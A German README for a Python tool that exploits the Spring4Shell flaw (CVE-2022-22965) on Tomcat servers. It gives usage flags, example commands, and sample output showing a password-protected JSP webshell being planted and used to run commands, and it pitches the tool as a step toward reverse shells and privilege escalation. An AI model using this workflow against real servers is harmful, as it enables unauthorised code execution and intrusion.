
spring4shell | CVE-2022-22965
eine Python-Implementierung von CVE-2022-22965, die dem Benutzer eine Eingabeaufforderung im Stil einer SSH-Sitzung bietet.
Das Skript ist so gestaltet, dass es je nach Wahl des Benutzers sowohl lesbar als auch zugänglich ist. Entwickelt zur Ausnutzung der Sicherheitslücke auf Tomcat-Servern. Das Feld „fileDateFormat“ auf dem Server wird im Rahmen des Skripts gesetzt und zurückgesetzt, was die mehrfache Ausführung des Exploits ermöglicht. Eine Bereinigung kann erforderlich sein.
Die Sicherheitslücke besteht im Java Spring Framework vor Version 5.2 sowie in den Versionen 5.3.0-17 und 5.2.0-19 und wird auf einer Version des Java Development Kit ausgeführt, die größer oder gleich 9 ist.
Weitere Informationen:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965
Das requests-Modul und das BeautifulSoup-Modul werden benötigt, damit der Exploit ausgeführt werden kann. Diese können installiert werden mit:
pip3 install bs4
pip3 install requests
Alle anderen Module sind in Python3 integriert.
Das Skript benötigt nur die URL des verwundbaren Servers, um zu laufen. Es gibt jedoch weitere Flags zur Erleichterung des Zugriffs usw.
Ausgabe von --help:
usage: spring4shell_v3.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] [-a] [-n] address
spring4shell_v3.py exploits an RCE vulnerability in
applications running spring core java framework.
positional arguments:
address ip/hostname, port, sub-directories to the vulnerable spring core framework on tomcat
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
name of the file to create and upload
-p PASSWORD, --password PASSWORD
password to protect the uploaded shell
-d DIRECTORY, --directory DIRECTORY
The upload path for the file
-a, --accessible turns off features which may negatively affect screen readers
-n, --no-colour removes colour output
example:
spring4shell_v3.py http://10.10.10.10/
spring4shell_v3.py http://hostname:8080/ -p 'password123'
spring4shell_v3.py http://10.10.10.10/subdir/ -a -f 'jsp-shell'
Beispielausgabe:
./spring4shell http://spring-vuln.local
/ / | / / /
___ ___ ___ ___ ___ (___| ___ (___ ___ ( (
|___ | )| )| | )| ) )|___ | )|___)| |
__/ |__/ | | | / |__/ / __/ | / |__ | |
| __/
CVE-2022-22965.
[i] attempting to change tomcat log variables.
[+] log variables set successfully.
[+] attempting to change tomcat log location variables.
[+] log successfully modified.
[i] waiting for tomcat changes.
[i] sending the webshell.
[i] resetting the log variables.
[i] shell location:
[i] http://spring-vuln.local/20df2b10c787d5ae.jsp?pwd=bd72c5e8&cmd=whoami
[i] or run commands here. type 'exit' to quit.
spring4shell:[email protected] $ whoami
service
spring4shell:[email protected] $
Es versteht sich von selbst, dass das Skript dem Benutzer keine vollständige Shell bietet, sondern als Plattform für die Erlangung einer vollständigen Reverse Shell, Privilege Escalation usw. auf dem Ziel konzipiert ist.
Das Skript versucht, den Benutzer/Dienst, der den verwundbaren Server ausführt, zu erfassen, damit dieser als Teil der Pseudobefehlseingabeaufforderung im Programm verwendet werden kann, obwohl dies nicht immer zuverlässig ist.
Das Skript war hauptsächlich eine Übung im Python-Scripting für einen einzelnen Exploit, sowohl mit Blick auf Lesbarkeit als auch Barrierefreiheit. Entwickelt für Benutzerfreundlichkeit und Verständlichkeit. Versucht, häufige Ausnahmen zu behandeln.
https://skerritt.blog/a11y/ - Implementierung der Barrierefreiheit.